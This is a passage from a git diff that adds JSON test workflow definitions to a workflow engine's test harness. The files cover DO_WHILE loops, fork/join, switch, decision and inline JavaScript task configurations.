"type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/do_while_integration_test.json b/test-harness/src/test/resources/do_while_integration_test.json new file mode 100644 index 0000000..e6723a3 --- /dev/null +++ b/test-harness/src/test/resources/do_while_integration_test.json @@ -0,0 +1,117 @@ +{ + "name": "Do_While_Workflow", + "description": "Do_While_Workflow", + "version": 1, + "tasks": [ + { + "name": "loopTask", + "taskReferenceName": "loopTask", + "inputParameters": { + "value": "${workflow.input.loop}" + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "if ($.loopTask['iteration'] < $.value) { true; } else { false;} ", + "loopOver": [ + { + "name": "integration_task_0", + "taskReferenceName": "integration_task_0", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "fork", + "taskReferenceName": "fork", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "integration_task_1", + "taskReferenceName": "integration_task_1", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + [ + { + "name": "integration_task_2", + "taskReferenceName": "integration_task_2", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join", + "taskReferenceName": "join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "integration_task_1", + "integration_task_2" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/do_while_iteration_fix_test.json b/test-harness/src/test/resources/do_while_iteration_fix_test.json new file mode 100644 index 0000000..b9dd19a --- /dev/null +++ b/test-harness/src/test/resources/do_while_iteration_fix_test.json @@ -0,0 +1,43 @@ +{ + "name": "Do_While_Workflow_Iteration_Fix", + "description": "Do_While_Workflow_Iteration_Fix", + "version": 1, + "tasks": [ + { + "name": "loopTask", + "taskReferenceName": "loopTask", + "inputParameters": { + "value": "${workflow.input.loop}" + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "if ($.loopTask['iteration'] < $.value) { true; } else { false;} ", + "loopOver": [ + { + "name": "form_uri", + "taskReferenceName": "form_uri", + "inputParameters": { + "index" : "${loopTask['iteration']}", + "scriptExpression": "return $.index - 1;" + }, + "type": "LAMBDA" + } + ] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/do_while_multiple_integration_test.json b/test-harness/src/test/resources/do_while_multiple_integration_test.json new file mode 100644 index 0000000..1da5bc2 --- /dev/null +++ b/test-harness/src/test/resources/do_while_multiple_integration_test.json @@ -0,0 +1,151 @@ +{ + "name": "Do_While_Multiple", + "description": "Do_While_Multiple", + "version": 1, + "tasks": [ + { + "name": "loopTask", + "taskReferenceName": "loopTask", + "inputParameters": { + "value": "${workflow.input.loop}" + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "if ($.loopTask['iteration'] < $.value ) { true;} else {false;} ", + "loopOver": [ + { + "name": "integration_task_0", + "taskReferenceName": "integration_task_0", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "fork", + "taskReferenceName": "fork", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "integration_task_1", + "taskReferenceName": "integration_task_1", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + [ + { + "name": "integration_task_2", + "taskReferenceName": "integration_task_2", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join", + "taskReferenceName": "join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "integration_task_1", + "integration_task_2" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + { + "name": "loopTask2", + "taskReferenceName": "loopTask2", + "inputParameters": { + "value": "${workflow.input.loop2}" + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "if ($.loopTask2['iteration'] < $.value) { true; } else { false; }", + "loopOver": [ + { + "name": "integration_task_3", + "taskReferenceName": "integration_task_3", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/do_while_set_variable_fix.json b/test-harness/src/test/resources/do_while_set_variable_fix.json new file mode 100644 index 0000000..0e71e25 --- /dev/null +++ b/test-harness/src/test/resources/do_while_set_variable_fix.json @@ -0,0 +1,45 @@ +{ + "name": "do_while_Set_variable_fix", + "description": "do_while with set variable task fix", + "version": 1, + "tasks": [ + { + "name": "loopTask", + "taskReferenceName": "loopTask", + "inputParameters": { + "value": "${workflow.variables.value}" + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "if ($.value > 0) { true; } else { false; } ", + "loopOver": [ + { + "name": "set_variable", + "taskReferenceName": "set_variable", + "inputParameters": { + "value": "0" + }, + "type": "SET_VARIABLE", + "startDelay": 0, + "optional": false, + "asyncComplete": false + } + ] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/do_while_sub_workflow_integration_test.json b/test-harness/src/test/resources/do_while_sub_workflow_integration_test.json new file mode 100644 index 0000000..80cd20e --- /dev/null +++ b/test-harness/src/test/resources/do_while_sub_workflow_integration_test.json @@ -0,0 +1,135 @@ +{ + "name": "Do_While_Sub_Workflow", + "description": "Do_While_Sub_Workflow", + "version": 1, + "tasks": [ + { + "name": "loopTask", + "taskReferenceName": "loopTask", + "inputParameters": { + "value": "${workflow.input.loop}" + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "if ($.loopTask['iteration'] < $.value) { true; } else { false;} ", + "loopOver": [ + { + "name": "integration_task_0", + "taskReferenceName": "integration_task_0", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "fork", + "taskReferenceName": "fork", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "integration_task_1", + "taskReferenceName": "integration_task_1", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + [ + { + "name": "integration_task_2", + "taskReferenceName": "integration_task_2", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join", + "taskReferenceName": "join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "integration_task_1", + "integration_task_2" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "sub_workflow_task", + "taskReferenceName": "st1", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_workflow" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/do_while_system_tasks.json b/test-harness/src/test/resources/do_while_system_tasks.json new file mode 100644 index 0000000..5a02021 --- /dev/null +++ b/test-harness/src/test/resources/do_while_system_tasks.json @@ -0,0 +1,93 @@ +{ + "name": "do_while_system_tasks", + "description": "do_while with a mix of 5, simple and system tasks", + "version": 1, + "tasks": [ + { + "name": "loopTask", + "taskReferenceName": "loopTask", + "inputParameters": { + "value": "${workflow.input.loop}" + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "if ($.loopTask['iteration'] < $.value ) { true;} else {false;} ", + "loopOver": [ + { + "name": "LAMBDA_TASK", + "taskReferenceName": "lambda_locs", + "inputParameters": { + "scriptExpression": "return {locationRanId: 'some location id'}" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "jq_add_location", + "taskReferenceName": "jq_add_location", + "inputParameters": { + "locationIdValue": "${lambda_locs.output.result.locationRanId}", + "queryExpression": "{ out: ({ \"locationId\": .locationIdValue }) }" + }, + "type": "JSON_JQ_TRANSFORM", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "jq_create_hydrus_input", + "taskReferenceName": "jq_create_hydrus_input", + "inputParameters": { + "locationIdValue": "${lambda_locs.output.result.locationRanId}", + "queryExpression": "{ out: ({ \"locationId\": .locationIdValue }) }" + }, + "type": "JSON_JQ_TRANSFORM", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + { + "name": "integration_task_1", + "taskReferenceName": "integration_task_1", + "inputParameters": {}, + "type": "SIMPLE" + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/do_while_timeline_ui_demo.json b/test-harness/src/test/resources/do_while_timeline_ui_demo.json new file mode 100644 index 0000000..f0e244c --- /dev/null +++ b/test-harness/src/test/resources/do_while_timeline_ui_demo.json @@ -0,0 +1,119 @@ +{ + "name": "do_while_timeline_ui_demo", + "description": "Demonstrates Timeline UI fix for DO_WHILE with SWITCH and FORK_JOIN_DYNAMIC (Issue #534)", + "version": 1, + "tasks": [ + { + "name": "do_while_with_switch", + "taskReferenceName": "do_while_switch_ref", + "inputParameters": { + "loop_limit": 2 + }, + "type": "DO_WHILE", + "loopCondition": "(function () {if ($.do_while_switch_ref['iteration'] < $.loop_limit) {return true;} return false;})();", + "loopOver": [ + { + "name": "switch_task", + "taskReferenceName": "switch_ref", + "inputParameters": { + "decision_case": "default" + }, + "type": "SWITCH", + "evaluatorType": "value-param", + "expression": "decision_case", + "decisionCases": { + "specific": [ + { + "name": "specific_case", + "taskReferenceName": "specific_case_ref", + "inputParameters": { + "evaluatorType": "javascript", + "expression": "({result: 'specific case executed'})" + }, + "type": "INLINE" + } + ] + }, + "defaultCase": [ + { + "name": "default_case", + "taskReferenceName": "default_case_ref", + "inputParameters": { + "evaluatorType": "javascript", + "expression": "({result: 'default case executed', iteration: $.do_while_switch_ref['iteration']})" + }, + "type": "INLINE" + } + ] + } + ] + }, + { + "name": "do_while_with_fork_join_dynamic", + "taskReferenceName": "do_while_fork_ref", + "inputParameters": { + "loop_limit": 2 + }, + "type": "DO_WHILE", + "loopCondition": "(function () {if ($.do_while_fork_ref['iteration'] < $.loop_limit) {return true;} return false;})();", + "loopOver": [ + { + "name": "prepare_fork", + "taskReferenceName": "prepare_fork_ref", + "inputParameters": { + "queryExpression": "[{id: 1, value: 'task1'}, {id: 2, value: 'task2'}]" + }, + "type": "JSON_JQ_TRANSFORM" + }, + { + "name": "dynamic_fork", + "taskReferenceName": "dynamic_fork_ref", + "inputParameters": { + "forkTaskName": "inline_fork_task", + "forkTaskType": "INLINE", + "forkTaskInputs": "${prepare_fork_ref.output.result}", + "dynamicTasks": [ + { + "name": "inline_fork_task", + "taskReferenceName": "fork_task_1", + "type": "INLINE", + "inputParameters": { + "evaluatorType": "javascript", + "expression": "({processed: true, id: 1})" + } + }, + { + "name": "inline_fork_task", + "taskReferenceName": "fork_task_2", + "type": "INLINE", + "inputParameters": { + "evaluatorType": "javascript", + "expression": "({processed: true, id: 2})" + } + } + ] + }, + "type": "FORK_JOIN_DYNAMIC", + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "forkTaskInputs" + }, + { + "name": "join", + "taskReferenceName": "join_ref", + "type": "JOIN" + } + ] + }, + { + "name": "final_summary", + "taskReferenceName": "final_summary_ref", + "inputParameters": { + "evaluatorType": "javascript", + "expression": "({message: 'Timeline UI should render correctly for both DO_WHILE scenarios', switch_iterations: $.do_while_switch_ref['iteration'], fork_iterations: $.do_while_fork_ref['iteration']})" + }, + "type": "INLINE" + } + ], + "schemaVersion": 2, + "ownerEmail": "test@conductor.io" +} diff --git a/test-harness/src/test/resources/do_while_with_decision_task.json b/test-harness/src/test/resources/do_while_with_decision_task.json new file mode 100644 index 0000000..3211081 --- /dev/null +++ b/test-harness/src/test/resources/do_while_with_decision_task.json @@ -0,0 +1,62 @@ +{ + "name": "DO_While_with_Decision_task", + "description": "Program for testing loop behaviour", + "version": 1, + "schemaVersion": 2, + "ownerEmail": "xyz@company.eu", + "tasks": [ + { + "name": "LoopTask", + "taskReferenceName": "LoopTask", + "type": "DO_WHILE", + "inputParameters": { + "list": "${workflow.input.list}" + }, + "loopCondition": "$.LoopTask['iteration'] < $.list.length", + "loopOver": [ + { + "name": "GetNumberAtIndex", + "taskReferenceName": "GetNumberAtIndex", + "type": "INLINE", + "inputParameters": { + "evaluatorType": "javascript", + "list": "${workflow.input.list}", + "iterator": "${LoopTask.output.iteration}", + "expression": "function getElement() { return $.list.get($.iterator - 1); } getElement();" + } + }, + { + "name": "SwitchTask", + "taskReferenceName": "SwitchTask", + "type": "SWITCH", + "evaluatorType": "javascript", + "inputParameters": { + "param": "${GetNumberAtIndex.output.result}" + }, + "expression": "$.param > 0", + "decisionCases": { + "true": [ + { + "name": "WaitTask", + "taskReferenceName": "WaitTask", + "type": "WAIT", + "inputParameters": { + } + }, + { + "name": "ComputeNumber", + "taskReferenceName": "ComputeNumber", + "type": "INLINE", + "inputParameters": { + "evaluatorType": "javascript", + "number": "${GetNumberAtIndex.output.result.number}", + "expression": "function compute() { return $.number+10; } compute();" + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/test-harness/src/test/resources/dynamic_fork_join_integration_test.json b/test-harness/src/test/resources/dynamic_fork_join_integration_test.json new file mode 100644 index 0000000..b442d7b --- /dev/null +++ b/test-harness/src/test/resources/dynamic_fork_join_integration_test.json @@ -0,0 +1,118 @@ +{ + "name": "DynamicFanInOutTest", + "description": "DynamicFanInOutTest", + "version": 1, + "tasks": [ + { + "name": "integration_task_1", + "taskReferenceName": "dt1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createdBy": "integration_app", + "name": "integration_task_1", + "description": "integration_task_1", + "retryCount": 1, + "timeoutSeconds": 120, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "fork", + "taskReferenceName": "dynamicfanouttask", + "inputParameters": { + "dynamicTasks": "${dt1.output.dynamicTasks}", + "dynamicTasksInput": "${dt1.output.dynamicTasksInput}" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join", + "taskReferenceName": "dynamicfanouttask_join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_4", + "taskReferenceName": "task4", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createdBy": "integration_app", + "name": "integration_task_4", + "description": "integration_task_4", + "retryCount": 1, + "timeoutSeconds": 120, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/event_workflow_integration_test.json b/test-harness/src/test/resources/event_workflow_integration_test.json new file mode 100644 index 0000000..d7aa466 --- /dev/null +++ b/test-harness/src/test/resources/event_workflow_integration_test.json @@ -0,0 +1,45 @@ +{ + "name": "test_event_workflow", + "version": 1, + "tasks": [ + { + "name": "eventX", + "taskReferenceName": "wait0", + "inputParameters": {}, + "type": "EVENT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "sink": "conductor", + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/exclusive_join_integration_test.json b/test-harness/src/test/resources/exclusive_join_integration_test.json new file mode 100644 index 0000000..17b6671 --- /dev/null +++ b/test-harness/src/test/resources/exclusive_join_integration_test.json @@ -0,0 +1,114 @@ +{ + "name": "ExclusiveJoinTestWorkflow", + "description": "Exclusive Join Test Workflow", + "version": 1, + "tasks": [ + { + "name": "integration_task_1", + "taskReferenceName": "task1", + "inputParameters": { + "payload": "${workflow.input.payload}" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false + }, + { + "name": "decide_task", + "taskReferenceName": "decision1", + "inputParameters": { + "decision_1": "${workflow.input.decision_1}" + }, + "type": "DECISION", + "caseValueParam": "decision_1", + "decisionCases": { + "true": [ + { + "name": "integration_task_2", + "taskReferenceName": "task2", + "inputParameters": { + "payload": "${task1.output.payload}" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false + }, + { + "name": "decide_task", + "taskReferenceName": "decision2", + "inputParameters": { + "decision_2": "${workflow.input.decision_2}" + }, + "type": "DECISION", + "caseValueParam": "decision_2", + "decisionCases": { + "true": [ + { + "name": "integration_task_3", + "taskReferenceName": "task3", + "inputParameters": { + "payload": "${task2.output.payload}" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false + } + ] + } + } + ], + "false": [ + { + "name": "integration_task_4", + "taskReferenceName": "task4", + "inputParameters": { + "payload": "${task1.output.payload}" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false + }, + { + "name": "decide_task", + "taskReferenceName": "decision3", + "inputParameters": { + "decision_3": "${workflow.input.decision_3}" + }, + "type": "DECISION", + "caseValueParam": "decision_3", + "decisionCases": { + "true": [ + { + "name": "integration_task_5", + "taskReferenceName": "task5", + "inputParameters": { + "payload": "${task4.output.payload}" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false + } + ] + } + } + ] + } + }, + { + "name": "exclusive_join", + "taskReferenceName": "exclusiveJoin", + "type": "EXCLUSIVE_JOIN", + "joinOn": [ + "task3", + "task5" + ], + "defaultExclusiveJoinTask": [ + "task2", + "task4", + "task1" + ] + } + ], + "schemaVersion": 2, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/failure_workflow_for_terminate_task_workflow.json b/test-harness/src/test/resources/failure_workflow_for_terminate_task_workflow.json new file mode 100644 index 0000000..c0ad47d --- /dev/null +++ b/test-harness/src/test/resources/failure_workflow_for_terminate_task_workflow.json @@ -0,0 +1,32 @@ +{ + "name": "failure_workflow", + "version": 1, + "tasks": [ + { + "name": "lambda", + "taskReferenceName": "lambda0", + "inputParameters": { + "input": "${workflow.input}", + "scriptExpression": "if ($.input.a==1){return {testvalue: true}} else{return {testvalue: false}}" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/fork_join_integration_test.json b/test-harness/src/test/resources/fork_join_integration_test.json new file mode 100644 index 0000000..7e99338 --- /dev/null +++ b/test-harness/src/test/resources/fork_join_integration_test.json @@ -0,0 +1,126 @@ +{ + "name": "FanInOutTest", + "description": "FanInOutTest", + "version": 1, + "tasks": [ + { + "name": "fork", + "taskReferenceName": "fanouttask", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "workflow.input.param1", + "p2": "workflow.input.param2" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_3", + "taskReferenceName": "t3", + "inputParameters": { + "p1": "workflow.input.param1", + "p2": "workflow.input.param2" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + [ + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp1": "workflow.input.param1" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join", + "taskReferenceName": "fanouttask_join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "t3", + "t2" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_4", + "taskReferenceName": "t4", + "inputParameters": { + "tp1": "workflow.input.param1" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/fork_join_permissive_integration_test.json b/test-harness/src/test/resources/fork_join_permissive_integration_test.json new file mode 100644 index 0000000..771230d --- /dev/null +++ b/test-harness/src/test/resources/fork_join_permissive_integration_test.json @@ -0,0 +1,111 @@ +{ + "name": "FanInOutPermissiveTest", + "description": "FanInOutPermissiveTest", + "version": 1, + "tasks": [ + { + "name": "fork", + "taskReferenceName": "fanouttask", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "workflow.input.param1", + "p2": "workflow.input.param2" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "permissive": true, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + [ + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp1": "workflow.input.param1" + }, + "type": "SIMPLE", 